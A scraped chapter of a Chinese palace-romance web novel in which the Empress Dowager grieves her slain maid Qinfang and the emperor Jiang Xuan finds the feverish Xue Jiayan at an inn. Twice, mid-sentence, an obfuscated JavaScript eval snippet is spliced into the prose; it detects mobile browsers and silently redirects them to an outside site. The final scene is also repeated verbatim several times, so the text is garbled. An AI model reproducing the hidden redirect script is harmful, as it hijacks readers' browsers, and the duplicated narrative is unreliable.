宋静仪吓得腿一软,“噗通”一声跪倒在太后脚边,浑身发颤。 她不敢问发生了什么,只盯着那滩刺目的血,眼泪控制不住地往下掉。 不多时,一阵急促脚步声由远及近。 太医拎着药箱匆匆赶来,连礼都来不及行,立刻蹲下身探沁芳的脉搏、翻眼皮。 片刻后,太医眉头紧锁,缓缓摇了摇头,声音沉重: “娘娘,卢司正气息已绝,……怕是不行了。” “放肆!” 太后双目赤红,猛地嘶吼出声,声音凄厉的破音, “你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357220|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没施救,怎么就知道不行!给我救!救不活你也别想活!” 宋静仪看着沁芳被血糊住的面容,眼泪流得更凶,哽咽着轻声劝: “娘娘,沁芳姑姑已经去了……您就让她安心走吧,别再为难她了……” 太后身子一震,大颗大颗的泪珠终于控制不住砸落下来,砸在衣襟上,晕开深色湿痕。 宋静仪不敢再看,抹了把泪,强作镇定地招呼宫人: “来人,把沁芳姑姑抬下去安置……把这毯子也撤了,仔细打扫干净。” 宫人战战兢兢上前,小心翼翼抬起早已冰冷的沁芳,又卷起那片吸饱了血的绒毯。 宋静仪小心翼翼地扶着太后的胳膊,缓步往后殿走去。 太后浑身僵硬,像一具失了魂魄的木偶,任由她搀扶着,脚下虚浮,连路都走得有些踉跄。 她的眼睛怔怔地盯着前方虚空处,一眨不眨,眼底空洞无神,唯有眼泪,像断了线的珠子,顺着脸颊不断滚落,间或从齿间溢出一声低低的呢喃:“沁芳……我的沁芳……” 宋静仪扶着她走到软榻边,手掌能清晰地感受到太后身体的颤抖,心底也泛起强烈不安。 她虽不知道今夜究竟发生了什么,可稍稍一想便知端倪——这宫里统共就三位主子,太后、陛下,还有她自己。 此事显然与她无关,那么定然是陛下与太后之间,爆发了前所未有的冲突。 再想起方才在长乐宫廊下听到的、那阵急促狂暴的马蹄声,宋静仪的心更是沉了沉。 她清楚,宫里有严格的规矩,若非天大的急事,没人敢这般纵马狂奔,更何况是在太后寝宫附近。这事,绝对小不了。 她与姜玄接触虽不多,可也能看得出,这位帝王素来冷静自持,心思深沉,哪怕是面对朝堂上的惊涛骇浪,也从未有过失态之举。 可今夜,他不仅在宫中纵马,看长乐宫那副血腥模样,显然还动了杀心——若不是被逼到了绝境,若不是出了足以让他疯魔的大事,他绝不会出手这么重,更不会与太后闹到这般地步。 第354章 不要离开我 “娘娘,您躺下休息一会儿吧。” 宋静仪强压下心底的疑虑,眼眶泛红,含着泪轻声劝道,伸手便要扶着太后躺到软榻上,“睡醒了就好了,一切都会过去的……” “他疯了!姜玄他疯了!”太后猛地回过神来,死死攥住宋静仪的手腕,声音急切而凄厉,满是痛苦与怨毒,“他竟然杀了沁芳!他亲手杀了沁芳啊!” 宋静仪的手腕被攥得生疼,却不敢动弹,只能任由她抓着。 她心底暗自腹诽:明明是您先疯了,把陛下逼到了忍无可忍的地步。可这些话,她半句也不敢说出口,眼下,安抚住失魂落魄的太后,才是最重要的事。 她轻轻拍了拍太后的手背,语气愈发柔和,耐着性子安抚:“娘娘,您别急坏了身子。您躺下歇歇,好不好?” 说着,宋静仪小心翼翼地扶着太后躺下,又取过一旁的锦被,细细为她盖好,掖紧被角,“娘娘,睡吧,睡着了,就好了……” 太后的精神早已被沁芳的死击垮,巨大的冲击让她浑身发冷,一闭上眼睛,脑海里便反复浮现出沁芳倒在血泊中、满脸血污的模样,那凄厉的惨叫仿佛还在耳边回响,吓得她忍不住打了个寒颤,浑身的肌肉都紧绷起来。 宋静仪见状,又轻声劝道:“娘娘,人死不能复生,您别再这般难过了。沁芳姑姑忠心耿耿,最是心疼您,她在天有灵,也不想看到娘娘这样伤怀,不想看到您糟蹋自己的身子啊。” “人死不能复生……”太后喃喃地念叨着这句话,眼神依旧空洞,语气里满是茫然与不甘,泪水又一次无声滑落。 宋静仪见她嘴唇干裂,想来是哭了太久,便起身轻手轻脚地走到一旁的茶桌前,提起茶壶,倒了一杯温热的茶水,又小心翼翼地端着,缓步走回软榻边。 就在她快要走到榻边时,却模模糊糊听到太后低低地说了一句,声音极轻,却带着一股说不出的阴冷与偏执,像是在自言自语,又像是在警告什么:“谁说人死不能复生,重来一次不就行了……别逼我……千万别逼我……” 那声音冰冷刺骨,带着一种让人毛骨悚然的诡异,宋静仪浑身一僵,忍不住打了个寒噤。 她定了定神,看着太后依旧失魂落魄的模样,暗自想着:太后定是太过伤心,魔怔了,才会说出这样的胡话来。 这般想着,她压下心底的寒意,轻声唤道:“娘娘,您喝点水吧……” 冬夜的月色被厚重的乌云遮蔽,晦暗得几乎看不清街巷的轮廓,寒风卷着碎雪,刮在脸上如刀割般刺 痛。 原本沉寂无声的京城街巷,此刻被一阵阵急促而密集的马蹄声打破,“哒哒哒”的蹄声踏碎了夜的静谧,骏马奔袭在每一条街道,声势浩大,引得沿街百姓纷纷从窗缝里探出头,满脸惊惧与疑惑——这般深夜,这么大动静,究竟发生了什么天大的事? “别是外族打进了吧?” “胡扯什么,估计又是宫里出事了……” “明早不会换了皇帝吧……” …… 百姓们议论着,家家关紧门户,生怕被波及。 姜玄骑在马上,脸色惨白如纸,满脑子都是薛嘉言。 一阵疾驰后,一行人转瞬便抵达了汇斌楼门口。 姜玄不等马停稳,便纵身跃下,踉跄了一下,又立刻稳住身形,大步流星地冲进客栈。 身后的禁军与苗菁等人紧随其后,客栈大堂内两桌正在赌钱的客人与伙计吓得纷纷避让,大气都不敢出。 “全部不许动!仔细搜查每一间客房,不许放过任何一处角落!”苗菁厉声下令,禁军立刻分散开来,有序地检查着客栈的每一个房间,脚步声、敲门声与喝问声交织在一起,打破了客栈的静谧。 姜玄凭着心底那股莫名的直觉,脚步不停,径直冲上二楼,目光扫过走廊两侧的客房门牌,心脏狂跳不止。 雅间一间间被打开,都没有薛嘉言的身影,当他走到最僻静的那间雅间门口时,心跳得厉害,他深吸一口气,一把推开了房门。 一进门后,姜玄的直觉便告诉他,他的言言,就在这里。 他大步奔入房间,跨过室内的雕花屏风,眼前的景象瞬间映入眼帘—— 房间内暖意融融,桌上点着一盏琉璃宫灯,暖黄的灯光温柔地洒在屋内,照亮了那张铺着锦被的拔步床。 床上静静躺着一个人,身形纤细,长发散落在枕间,一动不动,正是他拼了命也要找到的薛嘉言。 那一刻,姜玄忽然变得无法呼吸,胸口像是被巨石堵住,连脚步都变得沉重起来。 他站在原地,浑身僵硬,竟有些不敢再往前走一步——他怕,怕床上的人只是一具冰冷的躯体,怕自己拼尽全力赶来,得到的却是无法接受的结局。 跟在他身后进来的苗菁,将他眼底的恐惧与挣扎尽收眼底,连忙挥手示意身后的禁军与侍卫全部撤出去,关上房门,将所有喧嚣隔绝在外。 苗菁压低声音,小心翼翼地安慰:“陛下,您别担心,薛主子吉人自有天相,看这模样,肯定只是睡着了,不会有事的。” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357221|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 他缓缓抬起沉重的脚步,一步一步,朝着床边靠近。 越靠近床边,他的心跳就越快害。直到他走到床边,弯腰低头,完全看清薛嘉言的脸——她的脸颊泛着不正常的绯红,长长的睫毛轻垂着,呼吸均匀,眉眼依旧清丽,只是面色比平日里苍白了许多。 看到这一幕,姜玄悬着的心才终于彻底放下,长长地舒了一口气。 “言言……言言……”他轻声唤着她的名字,声音沙哑,眼眶瞬间发热,滚烫的泪水在眼眶里打转。 他小心翼翼地坐到床边,伸出手,轻轻将她揽进怀里。 指尖触到她滚烫的肌肤时,姜玄浑身一紧,心头又是一揪——她在发热,而且烧得不轻。 他立刻抬头,厉声喊道:“苗菁!快去请太医!快!” 苗菁立刻应声:“陛下放心,臣早已命太医随行,这就叫太医进来!” 苗菁转身离去的瞬间,姜玄再也忍不住,滚烫的泪滴落,落在薛嘉言的发顶。 他紧紧抱着怀里的人,下巴抵着她的发顶,声音低沉而哽咽,一遍又一遍地低声呢喃:“言言,对不起……对不起……不要离开我,千万不要离开我……” “对……她只是睡着了……”姜玄哑着嗓子,喃喃地重复着这句话。 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